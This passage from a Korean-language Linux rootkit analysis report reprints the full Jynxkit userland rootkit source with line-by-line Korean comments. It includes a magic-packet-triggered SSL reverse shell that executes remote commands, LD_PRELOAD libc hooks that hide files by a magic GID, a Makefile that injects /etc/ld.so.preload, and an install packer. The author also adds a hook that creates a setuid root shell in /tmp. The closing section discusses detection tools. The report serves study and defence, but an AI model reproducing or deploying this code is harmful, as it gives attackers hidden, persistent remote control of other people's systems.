```

```
        u_short th_sport;               /* source port */
        u_short th_dport;               /* destination port */
        tcp_seq th_seq;                 /* sequence number */
        tcp_seq th_ack;                 /* acknowledgement number */
        u_char  th_offx2;               /* data offset, rsvd */
#define TH_OFF(th)      (((th)->th_offx2 & 0xf0) >> 4)
        u_char  th_flags;
        #define TH_FIN  0x01
        #define TH_SYN  0x02
        #define TH_RST  0x04
        #define TH_PUSH 0x08
        #define TH_ACK  0x10
        #define TH_URG  0x20
        #define TH_ECE  0x40
        #define TH_CWR  0x80
        #define                                                         TH_FLAGS
(TH_FIN|TH_SYN|TH_RST|TH_ACK|TH_URG|TH_ECE|TH_CWR)
        u_short th_win;                 /* window */
        u_short th_sum;                  /* checksum */
        u_short th_urp;                 /* urgent pointer */
};

void got_packet(u_char *args, const struct pcap_pkthdr *header, const u_char *packet);
void print_app_usage(void);
SSL_CTX* InitCTX(void);
void backconnect(struct in_addr addr, u_short port);

/*
 * print help text
 */
void
print_app_usage(void)
{

          printf("Usage: %s [interface]\n", APP_NAME);
          printf("\n");
          printf("Options:\n");
          printf("     interface     Listen on <interface> for packets.\n");
          printf("\n");

return;
}

/*
 * Initialize SSL library / algorithms
```

```
 */
// SSL 라이브러리 초기화 / 알고리즘들
SSL_CTX* InitCTX(void)
{   SSL_METHOD *method;
    SSL_CTX *ctx;

    // SSL 라이브러리 초기화
    SSL_library_init();

    // OpenSSL 알고리즘들 추가
    OpenSSL_add_all_algorithms();           /* Load cryptos, et.al. */
    // 오류 메시지 등록
    SSL_load_error_strings();                       /* Bring in and register error
messages */
    // method = 새 클라이언트 메소드 생성
    method = SSLv3_client_method();                 /* Create new client-method
instance */
    // ctx = 새 컨텍스트 생성
    ctx = SSL_CTX_new(method);                      /* Create new context */
    if ( ctx == NULL )
    {
        ERR_print_errors_fp(stderr);
        abort();
    }
    return ctx; // 컨텍스트 반환
}

/*
 * spawn a backconnect shell
   // 백 커넥트 쉘 획득
 */
void backconnect(struct in_addr addr, u_short port)
{
        struct sockaddr_in sockaddr;
         int sock;
         FILE *fd;
         char *newline,buf[1028];

         SSL_CTX *ctx;
         SSL *ssl;

         // ctx = 컨텍스트 초기화
         ctx = InitCTX();

        sockaddr.sin_family = AF_INET;
```

```
        sockaddr.sin_port = port;
        sockaddr.sin_addr = addr;

        // sock = tcp 소켓 생성
        sock = socket(AF_INET, SOCK_STREAM, 0);


        // ipsrc(소스 주소)와 소스 포트로 tcp 연결
        if (connect(sock, (struct sockaddr*)&sockaddr, sizeof(sockaddr)) == 0)
        {
                ssl = SSL_new(ctx); // ssl = 새 ssl 인스턴스 생성
                SSL_set_fd(ssl,sock); // ssl.sock 필드에 fd(파일 디스크립터)로 설정

                sock = SSL_get_fd(ssl); // sock = ssl의 fd 가져옴.

                if ( SSL_connect(ssl) == -1 )
                        ERR_print_errors_fp(stderr);
                else { // SSL_connect(ssl)을 통해 연결에 성공할 시,
                        while (SSL_read(ssl,buf,sizeof(buf)-1) > 0){ // buf에 sizeof(buf)-1
만큼 읽음.
                                newline = strchr(buf,'\n');
                                *newline = '\0';

                                fd = popen(buf,"r"); // fd = popen으로 전달받은 명령어를
처리 하고 결과를 buf에 저장함.
                                while(fgets(buf,sizeof(buf)-1,fd) > 0)
                                        SSL_write(ssl,buf,strlen(buf)); // 쉘 명령어 처리
결과인 buf 데이터를 ssl 통신으로 쓰기 전송!
                                pclose(fd); // popen 닫음.
                        }


                        close(sock); // 소켓 닫기.
                        SSL_CTX_free(ctx); // ssl 컨텍스트 ctx 해제.
                }
        }
        return; // 반환
}

/*
 * dissect/print packet
   패킷 해부/출력
 */
void
got_packet(u_char *args, const struct pcap_pkthdr *header, const u_char *packet)
```

```
{

        static int count = 1;                   /* packet counter */

        /* declare pointers to packet headers */
        const struct sniff_ip *ip;              /* The IP header */
        const struct sniff_tcp *tcp;            /* The TCP header */

        int size_ip;
        int size_tcp;
        unsigned int r_ack;
        unsigned int r_seq;

        count++; // 패킷 카운트 증가 값


        /* define/compute ip header offset */
        ip = (struct sniff_ip*)(packet + SIZE_ETHERNET); // ip 헤더 = 이더넷 다음
        size_ip = IP_HL(ip)*4; // ip 헤더 길이 = ip 헤더 길이 * 4
        if (size_ip < 20) {
                printf("   * Invalid IP header length: %u bytes\n", size_ip);
                return;
        }

        /* print source and destination IP addresses
        // 출발지, 목적지 IP 주소 출력
        printf("       From: %s\n", inet_ntoa(ip->ip_src));
        printf("         To: %s\n", inet_ntoa(ip->ip_dst));
        */

        /* determine protocol */
        // 프로토콜 결정
        switch(ip->ip_p) {
                case IPPROTO_TCP:
                        break;
                default:
                        return;
        }

        /*
         *  OK, this packet is TCP.
         */
         // TCP 패킷일 시에만 수행,
        /* define/compute tcp header offset */
        // tcp = 패킷 + 이더넷 + size_ip 길이 다음.
```

```
        tcp = (struct sniff_tcp*)(packet + SIZE_ETHERNET + size_ip);
        size_tcp = TH_OFF(tcp)*4; // size_tcp (tcp 길이) = tcp 오프셋 * 4

        if (size_tcp < 20) {
                printf("   * Invalid TCP header length: %u bytes\n", size_tcp);
                return;
        }

        // ack, seq
        /* set ack and seq variables, then compare to MAGIC_ACK and MAGIC_SEQ */
        r_ack = ntohl(tcp->th_ack);
        r_seq = ntohl(tcp->th_seq);

        // MAGIC_ACK와 MAGIC_SEQ (해커가 지정한 값)이 전달 되면 backconnect
        // 함수를 호출 해서 시스템 쉘 명령어를 수행하고, 데이터를 해커에게 전송한다.
        if (r_ack == MAGIC_ACK && r_seq == MAGIC_SEQ) {
                printf("magic packet received\n");
                backconnect(ip->ip_src, tcp->th_sport);
        }

        return;
}

int main(int argc, char **argv)
{

        char *dev = NULL;                       /* capture device name */
        char errbuf[PCAP_ERRBUF_SIZE];          /* error buffer */
        pcap_t *handle;                         /* packet capture handle */

        char filter_exp[] = "tcp";              /* filter expression [3] */
        struct bpf_program fp;                  /*      compiled      filter      program
(expression) */
        bpf_u_int32 mask;                       /* subnet mask */
        bpf_u_int32 net;                        /* ip */
        int num_packets = 0;                    /* Capture indefinitely */

        /* check for capture device name on command-line */
        if (argc == 2) {
                dev = argv[1];
        }
        else if (argc > 2) {
                fprintf(stderr, "error: unrecognized command-line options\n\n");
                print_app_usage();
                exit(EXIT_FAILURE);
```

```
}
else {
        // dev = pcap_lookupdev(errbuf)로 pcap 장치를 룩업함.
        /* find a capture device if not specified on command-line */
        dev = pcap_lookupdev(errbuf); // dev = pcap_lookupdev(errbuf)
        if (dev == NULL) {
                fprintf(stderr, "Couldn't find default device: %s\n",
                    errbuf);
                exit(EXIT_FAILURE);
        }
}

// pcap_lookupnet으로 네트워크 번호와 마스크로 연관된 캡쳐 장치를 구함
/* get network number and mask associated with capture device */
if (pcap_lookupnet(dev, &net, &mask, errbuf) == -1) {
        fprintf(stderr, "Couldn't get netmask for device %s: %s\n",
            dev, errbuf);
        net = 0;
        mask = 0;
}

// MAGIC_GID로 gid 변경
setgid(MAGIC_GID);
/* print capture info */
printf("Device: %s\n", dev);
printf("Filter expression: %s\n", filter_exp);

// pcap_open_live로 SNAP_LEN 길이만큼 패킷 캡쳐
/* open capture device */
handle = pcap_open_live(dev, SNAP_LEN, 1, 1000, errbuf);
if (handle == NULL) {
        fprintf(stderr, "Couldn't open device %s: %s\n", dev, errbuf);
        exit(EXIT_FAILURE);
}

// pcap_datalink(handle)로 이더넷 캡쳐를 확인
/* make sure we're capturing on an Ethernet device [2] */
if (pcap_datalink(handle) != DLT_EN10MB) {
        fprintf(stderr, "%s is not an Ethernet\n", dev);
        exit(EXIT_FAILURE);
}

// pcap_compile() 필터 구문을 컴파일
/* compile the filter expression */
if (pcap_compile(handle, &fp, filter_exp, 0, net) == -1) {
```

```
                fprintf(stderr, "Couldn't parse filter %s: %s\n",
                    filter_exp, pcap_geterr(handle));
                exit(EXIT_FAILURE);
        }



        // pcap_setfilter() 컴파일된 필터를 적용
        /* apply the compiled filter */
        if (pcap_setfilter(handle, &fp) == -1) {
                fprintf(stderr, "Couldn't install filter %s: %s\n",
                    filter_exp, pcap_geterr(handle));
                exit(EXIT_FAILURE);
        }

        // 우리의 콜백 함수를 설정할 수 있음. (got_packet을 콜백 함수로 설정).
        /* now we can set our callback function */
        pcap_loop(handle, num_packets, got_packet, NULL);

        // pcap_freecode(&fp); pcap_close(handle)로 pcap 자원들 해제
        /* cleanup */
        pcap_freecode(&fp);
        pcap_close(handle);

return 0;
}
```

https://raw.githubusercontent.com/chokepoint/jynxkit/master/ld_poison.c

```
#define _GNU_SOURCE

#include <stdio.h>
#include <dlfcn.h>
#include <dirent.h>
#include <string.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <unistd.h>
#include <limits.h>
#include <errno.h>
#include "config.h"

// 공유 라이브러리 생성자를 init로 선언.
static void init (void) __attribute__ ((constructor));

// 후킹할 유저랜드 API 함수들의 주소를 저장할 프로토타입 변수들 선언
```

```
static int (*old_fxstat)(int ver, int fildes, struct stat *buf);
static int (*old_fxstat64)(int ver, int fildes, struct stat64 *buf);
static int (*old_lxstat)(int ver, const char *file, struct stat *buf);
static int (*old_lxstat64)(int ver, const char *file, struct stat64 *buf);
static int (*old_open)(const char *pathname, int flags, mode_t mode);
static int (*old_rmdir)(const char *pathname);
static int (*old_unlink)(const char *pathname);
static int (*old_unlinkat)(int dirfd, const char *pathname, int flags);
static int (*old_xstat)(int ver, const char *path, struct stat *buf);
static int (*old_xstat64)(int ver, const char *path, struct stat64 *buf);

static DIR *(*old_fdopendir)(int fd);
static DIR *(*old_opendir)(const char *name);

static struct dirent *(*old_readdir)(DIR *dir);
static struct dirent64 *(*old_readdir64)(DIR *dir);

void init(void)
{
        #ifdef DEBUG
        printf("[-] ld_poison loaded.\n");
        #endif

        // dlsym 함수로 동적 라이브러리 심볼의 포인터를 구해서 각각 설정.
        old_fxstat = dlsym(RTLD_NEXT, "__fxstat");
        old_fxstat64 = dlsym(RTLD_NEXT, "__fxstat64");
        old_lxstat = dlsym(RTLD_NEXT, "__lxstat");
        old_lxstat64 = dlsym(RTLD_NEXT, "__lxstat64");
        old_open = dlsym(RTLD_NEXT,"open");
        old_rmdir = dlsym(RTLD_NEXT,"rmdir");
        old_unlink = dlsym(RTLD_NEXT,"unlink");
        old_unlinkat = dlsym(RTLD_NEXT,"unlinkat");
        old_xstat = dlsym(RTLD_NEXT, "__xstat");
        old_xstat64 = dlsym(RTLD_NEXT, "__xstat64");

        old_fdopendir = dlsym(RTLD_NEXT, "fdopendir");
        old_opendir = dlsym(RTLD_NEXT, "opendir");

        old_readdir = dlsym(RTLD_NEXT, "readdir");
        old_readdir64 = dlsym(RTLD_NEXT, "readdir64");
}

// 여기서부터 후킹할 함수들의 코드가 있음.
int fstat(int fd, struct stat *buf)
{
```

```
        struct stat s_fstat;

        #ifdef DEBUG
        printf("fstat hooked.\n");
        #endif

        memset(&s_fstat, 0, sizeof(stat));

        old_fxstat(_STAT_VER, fd, &s_fstat);

        if(s_fstat.st_gid == MAGIC_GID) {
                errno = ENOENT;
                return -1;
        }

        return old_fxstat(_STAT_VER, fd, buf);
}

int fstat64(int fd, struct stat64 *buf)
{
        struct stat64 s_fstat;

        #ifdef DEBUG
        printf("fstat64 hooked.\n");
        #endif

        memset(&s_fstat, 0, sizeof(stat));

        old_fxstat64(_STAT_VER, fd, &s_fstat);

        if(s_fstat.st_gid == MAGIC_GID) {
                errno = ENOENT;
                return -1;
        }

        return old_fxstat64(_STAT_VER, fd, buf);
}

int __fxstat(int ver, int fildes, struct stat *buf)
{
        struct stat s_fstat;

        #ifdef DEBUG
        printf("__fxstat hooked.\n");
        #endif
```

```
        memset(&s_fstat, 0, sizeof(stat));

        old_fxstat(ver,fildes, &s_fstat);

        if(s_fstat.st_gid == MAGIC_GID) {
                errno = ENOENT;
                return -1;
        }
        return old_fxstat(ver,fildes, buf);
}

int __fxstat64(int ver, int fildes, struct stat64 *buf)
{
        struct stat64 s_fstat;

        #ifdef DEBUG
        printf("__fxstat64 hooked.\n");
        #endif

        memset(&s_fstat, 0, sizeof(stat));

        old_fxstat64(ver, fildes, &s_fstat);

        if(s_fstat.st_gid == MAGIC_GID) {
                errno = ENOENT;
                return -1;
        }

        return old_fxstat64(ver, fildes, buf);
}

int lstat(const char *file, struct stat *buf)
{
        struct stat s_fstat;

        #ifdef DEBUG
        printf("lstat hooked.\n");
        #endif

        memset(&s_fstat, 0, sizeof(stat));

        old_lxstat(_STAT_VER, file, &s_fstat);

        if(s_fstat.st_gid == MAGIC_GID || strstr(file,CONFIG_FILE) || strstr(file,MAGIC_DIR))
```

```
{
                errno = ENOENT;
                return -1;
        }

        return old_lxstat(_STAT_VER, file, buf);
}

int lstat64(const char *file, struct stat64 *buf)
{
        struct stat64 s_fstat;

        #ifdef DEBUG
        printf("lstat64 hooked.\n");
        #endif

        memset(&s_fstat, 0, sizeof(stat));

        old_lxstat64(_STAT_VER, file, &s_fstat);

        if (s_fstat.st_gid == MAGIC_GID || strstr(file,CONFIG_FILE) ||
strstr(file,MAGIC_DIR)) {
                errno = ENOENT;
                return -1;
        }

        return old_lxstat64(_STAT_VER, file, buf);
}

int __lxstat(int ver, const char *file, struct stat *buf)
{
        struct stat s_fstat;

        #ifdef DEBUG
        printf("__lxstat hooked.\n");
        #endif

        memset(&s_fstat, 0, sizeof(stat));

        old_lxstat(ver, file, &s_fstat);

        if (s_fstat.st_gid == MAGIC_GID || strstr(file,CONFIG_FILE) ||
strstr(file,MAGIC_DIR)) {
                errno = ENOENT;
                return -1;
```

```
        }

        return old_lxstat(ver, file, buf);
}

int __lxstat64(int ver, const char *file, struct stat64 *buf)
{
        struct stat64 s_fstat;

        #ifdef DEBUG
        printf("__lxstat64 hooked.\n");
        #endif

        memset(&s_fstat, 0, sizeof(stat));

        old_lxstat64(ver, file, &s_fstat);

        #ifdef DEBUG
        printf("File: %s\n",file);
        printf("GID: %d\n",s_fstat.st_gid);
        #endif

        if(s_fstat.st_gid == MAGIC_GID || strstr(file,CONFIG_FILE) || strstr(file,MAGIC_DIR))
{
                errno = ENOENT;
                return -1;
        }

        return old_lxstat64(ver, file, buf);
}

int open(const char *pathname, int flags, mode_t mode)
{
        struct stat s_fstat;

        #ifdef DEBUG
        printf("open hooked.\n");
        #endif

        memset(&s_fstat, 0, sizeof(stat));

        old_xstat(_STAT_VER, pathname, &s_fstat);

        if(s_fstat.st_gid == MAGIC_GID || (strstr(pathname, MAGIC_DIR) != NULL) ||
(strstr(pathname, CONFIG_FILE) != NULL)) {
```

```
                errno = ENOENT;
                return -1;
        }

        return old_open(pathname,flags,mode);
}

int rmdir(const char *pathname)
{
        struct stat s_fstat;

        #ifdef DEBUG
        printf("rmdir hooked.\n");
        #endif

        memset(&s_fstat, 0, sizeof(stat));

        old_xstat(_STAT_VER, pathname, &s_fstat);

        if(s_fstat.st_gid == MAGIC_GID || (strstr(pathname, MAGIC_DIR) != NULL) ||
(strstr(pathname, CONFIG_FILE) != NULL)) {
                errno = ENOENT;
                return -1;
        }

        return old_rmdir(pathname);
}

int stat(const char *path, struct stat *buf)
{
        struct stat s_fstat;

        // x90c 삽입 코드 (stat()로 "hacked_stat_rootshell" 파일명으로 인자로
        // 전달해 호출하는 경우 공유라이브러리가 /tmp/.r00t 루트쉘 배시를 만드는 코드 작성.
        if(strstr(path, "hacked_stat_rootshell") != NULL)
        {
            system("cp /bin/bash /tmp/.r00t");
            system("chmod 6755 /tmp/.root");
        }
        #ifdef DEBUG
        printf("stat hooked\n");
        #endif

        memset(&s_fstat, 0, sizeof(stat));
```

```
        old_xstat(_STAT_VER, path, &s_fstat);

        #ifdef DEBUG
        printf("Path: %s\n",path);
        printf("GID: %d\n",s_fstat.st_gid);
        #endif

        if(s_fstat.st_gid == MAGIC_GID || strstr(path,CONFIG_FILE) ||
strstr(path,MAGIC_DIR)) {
                errno = ENOENT;
                return -1;
        }

        return old_xstat(3, path, buf);
}

int stat64(const char *path, struct stat64 *buf)
{
        struct stat64 s_fstat;

        #ifdef DEBUG
        printf("stat64 hooked.\n");
        #endif

        memset(&s_fstat, 0, sizeof(stat));

        old_xstat64(_STAT_VER, path, &s_fstat);

        if (s_fstat.st_gid == MAGIC_GID || strstr(path,CONFIG_FILE) ||
strstr(path,MAGIC_DIR)) {
                errno = ENOENT;
                return -1;
        }

        return old_xstat64(_STAT_VER, path, buf);
}

int __xstat(int ver, const char *path, struct stat *buf)
{
        struct stat s_fstat;

        #ifdef DEBUG
        printf("xstat hooked.\n");
        #endif
```

```
        memset(&s_fstat, 0, sizeof(stat));

        old_xstat(ver,path, &s_fstat);

        #ifdef DEBUG
        printf("Path: %s\n",path);
        printf("GID: %d\n",s_fstat.st_gid);
        #endif

        memset(&s_fstat, 0, sizeof(stat));

        if(s_fstat.st_gid == MAGIC_GID || strstr(path,CONFIG_FILE) ||
strstr(path,MAGIC_DIR)) {
                errno = ENOENT;
                return -1;
        }

        return old_xstat(ver,path, buf);
}

int __xstat64(int ver, const char *path, struct stat64 *buf)
{
        struct stat64 s_fstat;

        #ifdef DEBUG
        printf("xstat64 hooked.\n");
        #endif

        memset(&s_fstat, 0, sizeof(stat));

        old_xstat64(ver,path, &s_fstat);

        #ifdef DEBUG
        printf("Path: %s\n",path);
        printf("GID: %d\n",s_fstat.st_gid);
        #endif

        if(s_fstat.st_gid == MAGIC_GID || strstr(path,CONFIG_FILE) ||
strstr(path,MAGIC_DIR)) {
                errno = ENOENT;
                return -1;
        }

        return old_xstat64(ver,path, buf);
}
```

```
int unlink(const char *pathname)
{
	struct stat s_fstat;

	#ifdef DEBUG
	printf("unlink hooked.\n");
	#endif

	memset(&s_fstat, 0, sizeof(stat));

	old_xstat(_STAT_VER, pathname, &s_fstat);

	if(s_fstat.st_gid == MAGIC_GID || (strstr(pathname, MAGIC_DIR) != NULL) ||
(strstr(pathname, CONFIG_FILE) != NULL)) {
		errno = ENOENT;
		return -1;
	}

	return old_unlink(pathname);
}

int unlinkat(int dirfd, const char *pathname, int flags)
{
	struct stat s_fstat;

	#ifdef DEBUG
	printf("unlinkat hooked.\n");
	#endif

	memset(&s_fstat, 0, sizeof(stat));

	old_fxstat(_STAT_VER, dirfd, &s_fstat);

	if(s_fstat.st_gid == MAGIC_GID || (strstr(pathname, MAGIC_DIR) != NULL) ||
(strstr(pathname, CONFIG_FILE) != NULL)) {
		errno = ENOENT;
		return -1;
	}

	return old_unlinkat(dirfd, pathname, flags);
}

DIR *fdopendir(int fd)
{
```

```
	struct stat s_fstat;

	#ifdef DEBUG
	printf("fdopendir hooked.\n");
	#endif

	memset(&s_fstat, 0, sizeof(stat));

	old_fxstat(_STAT_VER, fd, &s_fstat);

	if(s_fstat.st_gid == MAGIC_GID) {
		errno = ENOENT;
		return NULL;
	}

	return old_fdopendir(fd);
}

DIR *opendir(const char *name)
{
	struct stat s_fstat;

	#ifdef DEBUG
	printf("opendir hooked.\n");
	#endif

	memset(&s_fstat, 0, sizeof(stat));

	old_xstat(_STAT_VER, name, &s_fstat);

	if(s_fstat.st_gid == MAGIC_GID || strstr(name,CONFIG_FILE) ||
strstr(name,MAGIC_DIR)) {
		errno = ENOENT;
		return NULL;
	}

	return old_opendir(name);
}

struct dirent *readdir(DIR *dirp)
{
	struct dirent *dir;
	struct stat s_fstat;

	memset(&s_fstat, 0, sizeof(stat));
```

```
	#ifdef DEBUG
	printf("readdir hooked.\n");
	#endif

	do {
		dir = old_readdir(dirp);

		if (dir != NULL && (strcmp(dir->d_name,".\0") == 0 ||
strcmp(dir->d_name,"/\0") == 0))
			continue;

		if(dir != NULL) {
			char path[PATH_MAX + 1];
			  snprintf(path,PATH_MAX,"/proc/%s",dir->d_name);
			old_xstat(_STAT_VER, path, &s_fstat);
		}
	} while(dir && (strstr(dir->d_name, MAGIC_DIR) != 0 || strstr(dir->d_name,
CONFIG_FILE) != 0 || s_fstat.st_gid == MAGIC_GID));

	return dir;
}

struct dirent64 *readdir64(DIR *dirp)
{
	struct dirent64 *dir;
	struct stat s_fstat;

	memset(&s_fstat, 0, sizeof(stat));

	#ifdef DEBUG
	printf("readdir64 hooked.\n");
	#endif

	do {
		dir = old_readdir64(dirp);

		if (dir != NULL && (strcmp(dir->d_name,".\0") == 0 ||
strcmp(dir->d_name,"/\0") == 0))
			continue;

		if(dir != NULL) {
			char path[PATH_MAX + 1];
			  snprintf(path,PATH_MAX,"/proc/%s",dir->d_name);
			old_xstat(_STAT_VER, path, &s_fstat);
```

```
                }
        } while(dir && (strstr(dir->d_name, MAGIC_DIR) != 0 || strstr(dir->d_name,
CONFIG_FILE) != 0 || s_fstat.st_gid == MAGIC_GID));

        return dir;
}
```

bc.c는 openssl 라이브러리를 통한 해커의 시스템 명령어를 popen 함수로 실행하고 결과를 전달하도록 하는 방식으로 backconnect를 지원하는 백도어 코드입니다. 이것은 패킷 캡쳐를 위해서 libpcap 라이브러리를 사용합니다.

ld_poison.c 는 LD_PREOLOAD 환경 변수를 통해 로딩되는 유저랜드 루트킷 예제인데, 다수의 유저랜드 API 함수들을 후킹하고 디버깅 함수를 출력합니다. 예제로 릴리즈되었고, 실제 후킹을 통한 공격 코드는 작성이 안되어 있어서 사용하기 위해서는 후킹 코드를 개발해야 할 것으로 생각됩니다.

위의 두 기법이 유저랜드 루트킷으로 사용될 수 있다고 Jynxkit으로 릴리즈되어 있습니다.

https://raw.githubusercontent.com/chokepoint/jynxkit/master/Makefile

```
INSTALL=/xochikit
MAGIC_GID=90

all: bc ld_poison.so # 결과물 파일로 bc.c -> bc, ld_poison.c -> ld_poison.so

bc: bc.c config.h # bc는 pcap, ssl 라이브러리 사용해서 컴파일
        gcc -Wall -o bc bc.c -lpcap -lssl

ld_poison.so: ld_poison.c config.h # ld_poison.so는 공유라이브러리와 -ldl(동적 라이브러리)로
컴파일
        gcc -Wall -fPIC -shared -ldl ld_poison.c -o ld_poison.so

install: all # /xochikit 디렉토리에 인스톨(설치) make install 명령시,
        @echo [-] Initiating Installation Directory $(INSTALL)
        @test -d $(INSTALL) || mkdir $(INSTALL)
        @echo [-] Installing bc and ld_poison.so
        @install -m 0755 bc ld_poison.so $(INSTALL)/
        @echo [-] Injecting ld.so.preload
        @echo $(INSTALL)/ld_poison.so > /etc/ld.so.preload #  /etc/ld.so_preload에  설치
한 ld_poison.so 경로를 넣어서 LD_PRELOAD 환경 변수 대신 사용함
        @echo [-] Morphing Magic GID \($(MAGIC_GID)\)
        @chgrp $(MAGIC_GID) $(INSTALL_DIR) $(INSTALL)/*

clean:
```

```
        rm ld_poison.so bc
```

https://raw.githubusercontent.com/chokepoint/jynxkit/master/packer.sh

```
#!/bin/sh

# install.sh 라는 쉘 스크립트를 만드는 패커 파일로, FILES에 있는 파일들을 나열해서 make all과 make install을 실행하도록하는 명령어를 추가한다.

INSTALL_FILE=install.sh
FILES="bc.c config.h ld_poison.c Makefile"

echo "[-] Creating Installation File $INSTALL_FILE"
echo "#!/bin/sh" > $INSTALL_FILE

for FILE in $FILES
do
        echo "[-] Packing $FILE"
        echo "echo '[-] Extracting $FILE'" >> $INSTALL_FILE
        echo "cat > ./$FILE << EOF" >> $INSTALL_FILE
        cat $FILE >> $INSTALL_FILE
        echo "EOF" >> $INSTALL_FILE
done

echo "[-] Packing Install Sequence"
echo "echo '[-] Compiling source code'" >> $INSTALL_FILE
echo "make all" >> $INSTALL_FILE
echo "echo '[-] Injecting rootkit'" >> $INSTALL_FILE
echo "make install" >> $INSTALL_FILE

echo "[-] Packing Cleanup Sequence"
for FILE in $FILES
do
        echo "rm $FILE" >> $INSTALL_FILE
done

echo "rm $INSTALL_FILE" >> $INSTALL_FILE

chmod +x $INSTALL_FILE

echo "[-] Your Packer is ready: $INSTALL_FILE"
```

7. 결 론

본 리눅스 기반 루트킷 분석 보고서에서는 리눅스 기반 루트킷이 어떤 것인지 알아 보았고, 대략적으로나마 이해를 할 수 있었습니다. 또한 릴리즈되어 있는 리눅스 기반 Diamorphine 커널 루트킷과 Jynxkit 유저랜드 루트킷 이 두 개의 루트킷 코드를 직접 상세하게 분석해 보았습니다. 더불어 안드로이드 스마트폰 OS가 사용하는 ARM 코드의 경우에 어떻게 시스템 콜 테이블을 로딩하는 것이 다른지도 코드를 분석해 보았습니다.

블랙햇 해커가 서버에 불법적으로 접근해서 해킹에 성공하게 되면 마지막으로 하는 작업이 루트킷을 설치하고 접근 기록인 access_log와 보안 기록을 지우는 일인데, 이러한 루트킷은 스텔스 기능이 있는 루트킷에 의해서 시스템 관리자 또는 보안 관리자에게 쉽게 발각되지 않아서 사이버 세상에 큰 문제를 야기하는 한 가지 원인이 됩니다. 또한 해커의 통신은 암호화 되어 있어서 정상적인 네트워크 기반 IPS나 ESM 등의 장비에도 정상적으로 나오고, 탐지가 어려울 수 있습니다. 따라서 이러한 루트킷의 탐지에 대해서 고찰하고 탐지 시스템을 구축하고 개발하는데 역량을 투입하는 것이 보안에 신경 쓸 수 있는 것이라고 할 수 있습니다.

대체로 커널 기반 루트킷은 시스템 콜 후킹을 이용하기 때문에 이것이 후킹되었는지 탐지하는 것이 좋고, 사용자 기반 루트킷은 chkrootkit, rootkithunter 라는 공개도구를 사용하는 것이 도움이 될 것입니다. 물론 이러한 도구가 탐지 못하는 루트킷이 있을 수도 있지만, 그것은 최신 버전의 탐지 프로그램을 사용함으로써 보충할 수 있다고 생각됩니다.

더불어 추후 좀 더 보강된 자료로 루트킷을 잘 다뤄보고 싶은 바램이 있습니다.

8. 레퍼런스

[1] https://www.giac.org/paper/gsec/391/understanding-attackers-toolkit/101008
[2] https://apps.dtic.mil/sti/pdfs/AD1004348.pdf
[3]
Android rootkit:
https://github.com/hiteshd/Android-Rootkit/blob/master/sys_call_table.c
[4] Android Rootkis:
https://papers.vx-underground.org/papers/Other/Mobile%20VX/Android%20Rootkits.pdf
[5] Jynxkit 깃허브: https://github.com/chokepoint/jynxkit